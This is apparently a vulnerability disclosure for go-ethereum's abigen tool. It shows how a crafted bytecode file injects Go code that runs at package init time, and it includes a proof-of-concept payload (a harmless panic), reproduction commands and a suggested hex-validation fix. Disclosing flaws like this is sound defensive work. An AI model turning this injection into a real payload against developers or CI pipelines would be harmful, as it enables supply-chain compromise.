abigen: bytecode field allows Go source code injection via crafted hex input

Summary

abigen does not validate that bytecode input contains only hexadecimal characters. A crafted .bin file can inject arbitrary Go source code into the generated binding. When a developer runs abigen on this input and imports the generated package, the injected code executes at init() time.

Affected Version

go-ethereum v1.17.4 (latest release) and current master.

Root Cause

accounts/abi/abigen/source2.go.tpl:46 interpolates {{.InputBin}} directly into a Go string literal:

Bin: "0x{{.InputBin}}",

accounts/abi/abigen/template.go:73 only strips 0x prefix and whitespace — no hex validation:

strings.TrimPrefix(strings.TrimSpace(bytecode), "0x")

Steps to Reproduce

1. Create evil.abi:

[{"type":"constructor","inputs":[]}]

1. Create evil.bin:

0xdead",
	}
var _ = func() int { panic("INJECTED-CODE-EXECUTION") }()
var _fake = &bind.MetaData{
	Bin: "

1. Run:

go run ./cmd/abigen --abi evil.abi --bin evil.bin --pkg exploit --out out.go

1. abigen exits 0. Generated out.go contains injected code that executes at package init time. go build succeeds.

Impact

Supply chain code injection. Attacker publishes contract with crafted bytecode on a blockchain explorer. Developer runs abigen → generated Go file contains attacker code → runs with full process privileges at init().

CI/CD pipelines running abigen on untrusted contracts are directly exploitable.

Suggested Fix

Validate bytecode contains only [0-9a-fA-F] after stripping 0x. Reject non-hex content before template interpolation.

Disclosure Timeline

• 2026-07-17: Reported to EF security team via email ([email protected])
• 2026-07-28: No response after 11 days. Public disclosure.